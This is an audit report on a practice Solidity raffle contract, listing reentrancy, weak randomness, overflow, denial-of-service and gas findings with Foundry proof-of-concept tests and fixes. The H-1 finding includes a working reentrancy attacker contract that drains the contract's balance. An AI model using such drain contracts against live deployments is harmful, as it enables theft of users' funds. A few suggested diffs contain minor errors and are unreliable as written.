Puppy Raffle Protocol Audit Report

Version 1.0

cosminmarian53

April 17, 2025

Puppy Raffle Protocol Audit Report

cosminmarian53

April 17, 2025

Prepared by: cosminmarian53 Lead Auditor:

- cosminmarian53

Table of Contents

  - [M-1] Looping through the players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service(DoS) attack, significantly increasing the gas costs for future entrants
  - [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees
  - [M-3] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

- Low
  - [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for the player at index 0, causing the respective player to think that they might not have entered the raffle.

- Informational
  - [I-1]: Unspecific Solidity Pragma
  - [I-2]: Using an outdated version of Solidity is not recommended.
    * Description
    * Recommendation
  - [I-3]: Address State Variable Set Without Checks
    * [I-4] `PuppyRaffle::selectWinner` does not follow CEI(Checks-Effects-Interactions), which is not a best practice
    * [I-5] Use of "magic" numbers is discouraged
    * [I-6] State Changes are Missing Events

- Gas
  - [G-1] Unchanged State Variables should be set to constant or immutable
  - [G-2]: Storage variables in a loop should be cached

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function

4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The lead auditor Cosmin makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

./src/ – PuppyRaffle.sol

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Conducting the audit of this codebase has been an enriching professional journey, significantly broadening my expertise in identifying smart contract vulnerabilities, devising effective remediation strategies, and authoring proof-of-concept code to illustrate each flaw clearly. Throughout this engagement, I refined my ability to detect security weaknesses, implement robust fixes, and develop concise, reproducible test cases that validate every discovered issue.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	6
Gas	2
Total	15

Findings

High

[H-1] State change after an external call can lead to an Reentrancy Attack, draining all of the contract's funds

IMPACT: HIGH LIKELIHOOD: HIGH

Description: The `PuppyRaffle::refund` function is vulnerable to a classic reentrancy attack (SWC-107), allowing an attacker to drain all contract funds by re-entering the refund logic before the state is updated. This violates the Checks-Effects-Interactions (CEI) pattern and the principle of updating state before external calls.

The issue happens in the following context:

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "Only the player can refund");
    require(playerAddress != address(0), "Already refunded");

    //  Interaction: external call
    @>payable(msg.sender).sendValue(entranceFee);
    // Effect: state change after external call
    @>players[playerIndex] = address(0);

    emit RaffleRefunded(playerAddress);
}
```

The lines that I have highlighted are the ones that can lead to the aformentioned attack. We define it as follows:

```
Let's say that contract A calls contract B.

Reentrancy exploit allows B to call back into A before A finishes
   execution
```

Impact: A potential attacker could drain all of the contract's funds. **Proof of Concept:**

Let's consider the following test and helper contract:

Code

```
   function test_reentrancyRefund() public {
        // users entering raffle
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        // create attack contract and user
        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle
        );
        address attacker = makeAddr("attacker");
        vm.deal(attacker, 1 ether);

```

```
17          // noting starting balances
18          uint256 startingAttackContractBalance = address(
                attackerContract)
19              .balance;
20          uint256 startingPuppyRaffleBalance = address(puppyRaffle).
                balance;
21
22          // attack
23          vm.prank(attacker);
24          attackerContract.attack{value: entranceFee}();
25
26          // impact
27          console.log(
28              "attackerContract balance: ",
29              startingAttackContractBalance
30          );
31          console.log("puppyRaffle balance: ", startingPuppyRaffleBalance
                );
32          console.log(
33              "ending attackerContract balance: ",
34              address(attackerContract).balance
35          );
36          console.log(
37              "ending puppyRaffle balance: ",
38              address(puppyRaffle).balance
39          );
40      }
41  }
42
43  contract ReentrancyAttacker {
44      PuppyRaffle puppyRaffle;
45      uint256 entranceFee;
46      uint256 attackerIndex;
47
48      constructor(PuppyRaffle _puppyRaffle) {
49          puppyRaffle = _puppyRaffle;
50          entranceFee = puppyRaffle.entranceFee();
51      }
52
53      function attack() public payable {
54          address[] memory players = new address[](1);
55          players[0] = address(this);
56          puppyRaffle.enterRaffle{value: entranceFee}(players);
57          attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
                ;
58          puppyRaffle.refund(attackerIndex);
59      }
60
61      function _stealMoney() internal {
62          if (address(puppyRaffle).balance >= entranceFee) {
63              puppyRaffle.refund(attackerIndex);
```

```
64
65          }
66      }
67      fallback() external payable {
68          _stealMoney();
69      }
70      receive() external payable {
71          _stealMoney();
72      }
73  }
```

The test above shows the following:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the PuppyRaffle balance.

Recommended Mitigation:

1. Use the checks-effects-interactions pattern to avoid this issue.

```
1     function refund(uint256 playerIndex) public {
2 +     // 1. Checks
3       address playerAddress = players[playerIndex];
4       require(playerAddress == msg.sender, "Only the player can refund");
5       require(playerAddress != address(0), "Already refunded");
6 +     // 2. Effect
7 +     players[playerIndex] = address(0);
8 +     emit RaffleRefunded(playerAddress);
9 +     // 3. Interaction
10      payable(msg.sender).sendValue(entranceFee);
11 -    players[playerIndex] = address(0);
12 -    emit RaffleRefunded(playerAddress);
13  }
```

1. Use a modifier, like the nonReentrant() modifier from OpenZeppelin Example Code:

```
1  import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
2
3  contract PuppyRaffle is ReentrancyGuard {
4      // ...
5      function refund(uint256 playerIndex) public nonReentrant {
6          // function logic here
7      }
8  }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence and predict the winner of the raffle or predict the winning puppy

Description: Hashing on `block.timestamp`, `msg.sender`, and `block.difficulty` creates a predictable final number. It can be influenced by miners to some extent so they should be avoided.

Note: This additionally means users could front-run this function and call `PuppyRaffle::refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the rarest puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles. **Proof of Concept:**

1. Validators can know the values of `block.timestamp` and `block.difficulty` ahead of time and usee that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
1     uint64 myVar = type(uint64).max
2     // 18446744073709551615
3     myVar = myVar + 1
4     // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract

Proof of Code:

Add the following code to the test suite:

Test Integer Overflow

```
function test_integerOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the
            require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

The following can be observed after looking at the code: 1. We conclude a raffle of 4 players 2. We then have 89 players enter a new raffle, and conclude the raffle 3. `totalFees` will be:

```
            totalFees = totalFees + uint64(fee);
            // substituted
            totalFees = 800000000000000000 + 17800000000000000000;
            // due to overflow, the following is now the case
            totalFees = 153255926290448384;
```

4. You will not be able to withdraw due to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees),    "PuppyRaffle:
    There are currently players active!"
        );
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default. “‘diff
    - pragma solidity ^0.7.6;
    - pragma solidity ^0.8.18; “`Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's` sSafeMath‘ to prevent integer overflows.
2. Use a `uint256` instead of a `uint64` for `totalFees`. “‘diff
    - uint64 public totalFees = 0;
    - uint256 public totalFees = 0; “‘
3. Remove the balance check in `PuppyRaffle::withdrawFees` “‘diff
    - require(address(this).balance == uint256(totalFees), “PuppyRaffle: There are currently players active!”); “‘ We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] Looping through the players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service(DoS) attack, significantly increasing the gas costs for future entrants

IMPACT: MEDIUM LIKELIHOOD: MEDIUM

Description: The `PuppyRaffle::enterRaffle` function loops through the `PuppyRaffle::players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This results in a significant increase in gas costs, that would make the protocol esentially unusable. Hence, every additional address in the aformentioned array, means an additional check the loop will have to do.

Impact: The gas costs for new raffle entrants will greatly increase as more players try to join, therefore discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

Hypothetical scenario: An attacker might make the `PuppyRaffle::players` array so big, that no one else enters, easily making them the winner.

Proof of Concept:

Let's look at the following test:

Test Denial Of Service

```
1   function testDenialOfService() public {
2         vm.txGasPrice(1);
3         // First batch of 100 players
4         uint256 numPlayers = 100;
5         address[] memory players = new address[](numPlayers);
6
7         for (uint256 i = 0; i < numPlayers; i++) {
8             players[i] = address(i + 1);
9         }
10
11        uint256 gastStart = gasleft();
12        puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(
              players);
13        uint256 gasEnd = gasleft();
14
15        uint256 gasUsed = (gastStart - gasEnd) * tx.gasprice;
16        console.log("Gas used: ", gasUsed);
17
18        // Second batch of 100 players
19        address[] memory players2 = new address[](numPlayers);
20        for (uint256 i = 0; i < numPlayers; i++) {
21            players2[i] = address(i + 101);
22        }
23
24        uint256 gasStart2 = gasleft();
25        puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(
              players2);
26        uint256 gasEnd2 = gasleft();
27        uint256 gasUsed2 = (gasStart2 - gasEnd2) * tx.gasprice;
28        console.log("Gas used for the other batch of players: ",
              gasUsed2);
29        assert(gasUsed2 > gasUsed);
30    }
```

The test above shows us the following scenario:

- We have two sets of 100 players.
- For the first set of 100 players the gas cost will be the following ~6,523,172
- For the other batch of 100 players the gast cost will be almost triple the amount ~18,995,512.

Recommended Mitigation:

To solve such an issue I would advise the following:

1. Consider allowing duplicates. Users can make a new wallet address anyway, so a duplicate check doesn't prevent the same person from entering the raffle, only the same wallet address.
2. Consider using a mapping, which allows for constant time lookup of whether a user has already entered.

   Code

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
     .
     .
     .
     function enterRaffle(address[] memory newPlayers) public payable {
         require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
         for (uint256 i = 0; i < newPlayers.length; i++) {
             players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
         }

-        // Check for duplicates
+        // Check for duplicates only from the new players
+        for (uint256 i = 0; i < newPlayers.length; i++) {
+           require(addressToRaffleId[newPlayers[i]] != raffleId, "
    PuppyRaffle: Duplicate player");
+        }
-        for (uint256 i = 0; i < players.length; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
-            }
-        }
         emit RaffleEnter(newPlayers);
     }
.
.
.
     function selectWinner() external {
+        raffleId = raffleId + 1;
         require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
```

3. Alternatively, you could use **OpenZeppelin's EnumerableSet library**.

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1      function selectWinner() external {
2          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
3          require(players.length > 0, "PuppyRaffle: No players in raffle"
               );
4
5          uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
               sender, block.timestamp, block.difficulty))) % players.
               length;
6          address winner = players[winnerIndex];
7          uint256 fee = totalFees / 10;
8          uint256 winnings = address(this).balance - fee;
9  @>      totalFees = totalFees + uint64(fee);
10         players = new address[](0);
11         emit RaffleWinner(winner, winnings);
12     }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owners on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for the player at index 0, causing the respective player to think that they might not have entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec it will also return 0 for a player that does not appear in the array.

```
    function getActivePlayerIndex(
        address player
    ) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 might think that they might not have entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommendations:

1. The easiest recommendation would be to revert if the player is not in the array instead of returning 0.
2. You could also reserve the 0th position for any competition, but an even better solution might be to return an `int256` where the function returns -1 if the player is not active.

Informational

[I-1]: Unspecific Solidity Pragma

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2]: Using an outdated version of Solidity is not recommended.

Please use a newer version of Solidity for example 0.8.20 or up.

Description solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

If there are any questions, please refference the following slither documentation related to **solc** versions.

[I-3]: Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62

```
1 feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 168

```
1 feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI(Checks-Effects-Interactions), which is not a best practice

It's best to keep code clean and follow CEI.

```
-    (bool success,) = winner.call{value: prizePool}("");
-    require(success, "PuppyRaffle: Failed to send prize pool to winner"
     );
          _safeMint(winner, tokenId);
+    (bool success,) = winner.call{value: prizePool}("");
+    require(success, "PuppyRaffle: Failed to send prize pool to winner"
     );
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PRECISION = 100;

    uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE)
        / POOL_PRECISION;
    uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
        POOL_PRECISION;
```

[I-6] State Changes are Missing Events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.

It is best practice to emit an event whenever an action results in a state change.

Examples:

- `PuppyRaffle::totalFees` within the `selectWinner` function
- `PuppyRaffle::raffleStartTime` within the `selectWinner` function
- `PuppyRaffle::totalFees` within the `withdrawFees` function

Gas

[G-1] Unchanged State Variables should be set to constant or immutable

Description Reading from storage is significantly more expensive than reading from a constant or immutable variable.

Found Instances

- Found in src/PuppyRaffle.sol Line: 40

```
1       string private commonImageUri = "ipfs://
            QmSsYRx3LpDAb1GZQm7zZ1AuHZjfbPkD6J7s9r41xu1mf8";
```

- Found in src/PuppyRaffle.sol Line: 46

```
1       string private rareImageUri = "ipfs://
            QmUPjADFGEKmfohdTaNcWhp7VGk26h5jXDA7v3VtTnTLcW";
```

- Found in src/PuppyRaffle.sol Line: 52

```
1       string private legendaryImageUri = "ipfs://
            QmYx6GsYAKnNzZ9A6NvEKV9nf1VaDzJrqDR23Y8YSkebLU";
```

-Found in src/PuppyRaffle.sol [Line: 25] (src/PuppyRaffle.sol#L25)

```
1  ```solidity
2      uint256 public raffleDuration;
3
4  ```
```

[G-2]: Storage variables in a loop should be cached

```
1  +      uint256 playersLength= players.length;
2  -      for (uint256 i = 0; i < players.length - 1; i++)
3  +       for (uint256 i = 0; i < playersLength - 1; i++)
4   {
5  -       for (uint256 j = i + 1; j < players.length; j++)
6  +       for (uint256 j = i + 1; j < playersLength - 1; j++)
7   {
8                   require(
9                       players[i] != players[j],
10                      "PuppyRaffle: Duplicate player"
11                  );
12              }
13          }
```

Description

Everytime you call `players.length` you read from storage, as opposed to memory, which is more gas efficient.